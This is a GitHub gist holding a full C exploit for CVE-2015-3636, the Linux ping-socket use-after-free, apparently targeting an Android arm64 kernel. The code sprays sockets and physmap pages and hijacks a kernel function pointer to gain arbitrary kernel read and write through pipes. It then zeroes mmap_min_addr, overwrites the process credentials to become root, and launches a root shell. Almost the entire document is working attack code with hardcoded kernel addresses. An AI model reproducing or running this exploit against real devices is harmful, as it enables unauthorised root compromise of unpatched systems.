Skip to content

Instantly share code, notes, and snippets.

@f0rm2l1n
Last active Jul 30, 2020
Embed
What would you like to do?
rootable exploit for CVE-2015-3636
#include "exp2.h"
#define PAGE_SIZE (0x1000)
#define MAX_NULLMAP_SIZE (PAGE_SIZE * 4)
#define LIST_POSIION (0x200200)
#define PROTECT_BASE (LIST_POSIION&~(PAGE_SIZE-1))
#define MAX_VULTRIG_SOCKS_COUNT (4000)
#define MAX_PHYSMAP_SIZE (128 * 1024 * 1024) // 128 MB, cannot be too bigger...
// 128*6 in total, we only assigned with 1GB
#define MAX_PHYSMAP_SPRAY_PROCESS (6) // 6 times
#define MAGIC_VALUE (0x4B5F5F4B)
#define SIOCGSTAMPNS (0x8907)
#define NSEC_PER_SEC (1000000000)
int vultrig_socks[MAX_VULTRIG_SOCKS_COUNT];
void* physmap_spray_pages[(MAX_PHYSMAP_SIZE / PAGE_SIZE) * MAX_PHYSMAP_SPRAY_PROCESS];
pid_t physmap_spray_children[MAX_PHYSMAP_SPRAY_PROCESS];
int physmap_spray_pages_count;
void* payload = NULL;
int exp_sock = -1;
int exp_index = 0;
static inline void errhandler(char* s)
{
perror(s);
exit(EXIT_FAILURE);
}
void prepare(void)
{
printf("[+] Start prepare...\n");
/* maximize the fd limit to enable spraying */
struct rlimit rlim;
int ret;
ret = getrlimit(RLIMIT_NOFILE, &rlim);
if (ret != 0) errhandler("[!] prepare().getrlimit-1");
rlim.rlim_cur = rlim.rlim_max;
setrlimit(RLIMIT_NOFILE, &rlim);
ret = getrlimit(RLIMIT_NOFILE, &rlim);
if (ret != 0) errhandler("[!] prepare().getrlimit-2");
printf("[~] Done prepare!\n");
}
void protection(void)
{
printf("[+] Start protection...\n");
int i;
void* protect = mmap(PROTECT_BASE, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if(protect == MAP_FAILED) errhandler("[!] protection().mmap");
for(i = 0; i < MAX_NULLMAP_SIZE / PAGE_SIZE; i++)
memset((char *)protect + PAGE_SIZE * i, 0x90, PAGE_SIZE);
if(mlock(PROTECT_BASE, MAX_NULLMAP_SIZE) == -1) errhandler("[!] protection().mlock");
printf("[~] Done protection!\n");
}
void spraying(void)
{
printf("[+] Start socket spraying...\n");
int i, ret;
struct sockaddr _sockaddr1 = { .sa_family = AF_INET };
struct sockaddr _sockaddr2 = { .sa_family = AF_UNSPEC };
for(i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++)
{
vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
if(vultrig_socks[i] < 0) errhandler("[!] spraying().socket-create vultrig sockets");
ret = connect(vultrig_socks[i], &_sockaddr1, sizeof(_sockaddr1));
if(ret < 0) errhandler("[!] spraying().connect-hashing the socket");
}
for(i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++)
{
ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2));
if(ret < 0) errhandler("[!] spraying().connect-free once");
ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2));
if(ret < 0) errhandler("[!] spraying().connect-free twice");
}
printf("[~] Done socket spraying!\n");
printf("[+] Start physmap spraying...\n");
memset(physmap_spray_pages, 0, sizeof(physmap_spray_pages));
memset(physmap_spray_children, 0, sizeof(physmap_spray_children));
physmap_spray_pages_count = 0;
for(i = 0; i < MAX_PHYSMAP_SPRAY_PROCESS; i++)
{
int j;
void* mapped;
void* mapped_page;
mapped = mmap(NULL, MAX_PHYSMAP_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (mapped == MAP_FAILED) errhandler("[!] spraying().mmap");
for(j = 0; j < MAX_PHYSMAP_SIZE / PAGE_SIZE; j++)
{
memset((void *)((char *)mapped + PAGE_SIZE * j), 0x41, PAGE_SIZE);
mapped_page = (void *)((char *)mapped + PAGE_SIZE * j);
*(unsigned long *)((char *)mapped_page + 0x1D8) = MAGIC_VALUE + physmap_spray_pages_count;
physmap_spray_pages[physmap_spray_pages_count] = mapped_page;
physmap_spray_pages_count++;
}
}
printf("[~] Done physmap spraying!\n");
}
void fetching(void)
{
printf("[+] Start fetching the UAF socket...\n");
struct timespec time;
uint64_t value;
void* page = NULL;
int j = 0;
int got = 0;
int index = exp_index;
do
{
exp_sock = vultrig_socks[index];
memset(&time, 0, sizeof(time));
ioctl(exp_sock, SIOCGSTAMPNS, &time);
value = ((uint64_t)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec;
for(j = 0; j < physmap_spray_pages_count; j++)
{
page = physmap_spray_pages[j];
if(value == *(unsigned long *)((char *)page + 0x1D8))
{
printf("[*] obtained magic:%p\n", value);
got = 1;
payload = page;
break;
}
}
index += 1;
}
while(!got && index < MAX_VULTRIG_SOCKS_COUNT);
if(got == 0) errhandler("[!] fetching() fail...");
exp_index = index;
printf("[~] Done fetching the UAF socket!\n");
}
// #define PRINTK (0xffffffc00045294c)
// typedef unsigned long (* _printk)(char*msg);
// void backdoor_payload(void)
// {
// ((_printk)(PRINTK))("Boom! Arbitary Code Execution!\n");
// }
void trigger(void)
{
close(exp_sock);
}
void placing(void)
{
printf("[+] Start hijacking pc as well as set addr_limit...\n");
// ip_mc_drop_socket(), mc_list set to NULL
*(unsigned long *)((char *)payload + 0x288) = 0;
// try hijack sk->sk_prot->close(sk, timeout)
struct proto* fakeproto = malloc(sizeof(struct proto));
// set addr_limit thourgh kernel_setsockopt
*(unsigned long *)((char* )payload + 0x28) = (unsigned long)payload; // recursive...
*(unsigned long *)((char* )payload) = (unsigned long)0xffffffc0003443cc;
*(unsigned long *)((char* )payload + 0x68) = (unsigned long)0xFFFFFFC000344404;
trigger(); // We can close the corresponded socket to trigger the bug
printf("[~] Done these! We are allowed to do arbitrary read&write\n");
// write to mmap_min_addr
printf("[+] Start hijacking mmap_min_addr...\n");
unsigned long empty8 = 0;
kernel_write8((void *)0xffffffc000620c90, &empty8);
// turn off selinux
void* nullmap = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (nullmap == MAP_FAILED) errhandler("[!] placing().mmap");
printf("[~] Successfully adopt null mapping\n");
// turn off selinux
// fortunately we have no selinux
exp_sock = -1;
exp_index += 1;
fetching();
// thread_info_addr=sp&0xFFFFFFFFFFFFC000? does this really make sense?
// leaking that address to nullmap region
*(unsigned long *)((char *)payload + 0x288) = 0;
*(unsigned long *)((char *)payload + 0x28) = (unsigned long)payload;
*(unsigned long *)((char *)payload) = (unsigned long)0xFFFFFFC00045457C;
trigger();
void* task = NULL;
task = (void *)*(unsigned long *)((char *)nullmap + 0x18);
void* cred = NULL;
kernel_read8((char *)task + 0x340, &cred);
// cred rewriting
unsigned int empty4 = 0;
kernel_write4((char *)cred + 4, &empty4);
kernel_write4((char *)cred + 8, &empty4);
kernel_write4((char *)cred + 12, &empty4);
kernel_write4((char *)cred + 16, &empty4);
kernel_write4((char *)cred + 20, &empty4);
kernel_write4((char *)cred + 24, &empty4);
kernel_write4((char *)cred + 28, &empty4);
kernel_write4((char *)cred + 32, &empty4);
// fd cleaning
void* files, *fdt;
kernel_read8((char *)task + 0x728, &files);
kernel_read8((char *)files + 8, &fdt);
empty4 = 0;
kernel_write4(fdt, &empty4);
}
void getshell()
{
if(getuid() == 0)
{
printf("[*] congrats, enjoy your root shell.\n");
system("/system/bin/sh");
}
else errhandler("[!] loser, try again\n");
}
int main(int argc, char* argv[])
{
prepare();
// We can do some preparation here, maximize the resources for example
protection();
// Then we should do `mmap` of the poision value to avoid early crash
spraying();
// We should create vulnerable sockets as well as spraying lots of ping sock objects here
exp_index = MAX_VULTRIG_SOCKS_COUNT / 2;
fetching(); // start from exp_index, result to exp_socket and payload
// Then we can do lots of mmap here, trying to fetch the target page
placing();
// We should find ways to verify whether or not we get we want
getshell();
// A root shell!
}
#ifndef _EXP2_H
#define _EXP2_H
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#include <signal.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/sockios.h>
struct proto {
void (*close)(struct sock *sk, long timeout);
/* other field we just don't care for now */
};
int kernel_read8(void* kernel_addr, unsigned long* value)
{
int pipefd[2];
if(-1 == pipe(pipefd))
{
printf("[*] create dual pipe fail.\n");
return -1;
}
if(-1 == write(pipefd[1], kernel_addr, 8))
{
perror("[*] write pipe fail.");
return -1;
}
if(0 == read(pipefd[0], value, 8))
{
perror("[*] read piple fail.");
return -1;
}
return 0;
}
int kernel_read4(void* kernel_addr, unsigned int* value)
{
int pipefd[2];
if(-1 == pipe(pipefd))
{
printf("[*] create dual pipe fail.\n");
return -1;
}
if(-1 == write(pipefd[1], kernel_addr, 4))
{
perror("[*] write pipe fail.");
return -1;
}
if(0 == read(pipefd[0], value, 4))
{
perror("[*] read piple fail.");
return -1;
}
return 0;
}
int kernel_write8(void* kernel_addr, unsigned long* value)
{
int pipefd[2];
if(-1 == pipe(pipefd))
{
printf("[*] create dual pipe fail.\n");
return -1;
}
if(-1 == write(pipefd[1], value, 8))
{
perror("[*] write pipe fail.");
return -1;
}
if(0 == read(pipefd[0], kernel_addr, 8))
{
perror("[*] read piple fail.");
return -1;
}
return 0;
}
int kernel_write4(void* kernel_addr, unsigned int* value)
{
int pipefd[2];
if(-1 == pipe(pipefd))
{
printf("[*] create dual pipe fail.\n");
return -1;
}
if(-1 == write(pipefd[1], value, 4))
{
perror("[*] write pipe fail.");
return -1;
}
if(0 == read(pipefd[0], kernel_addr, 4))
{
perror("[*] read piple fail.");
return -1;
}
return 0;
}
#endif
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment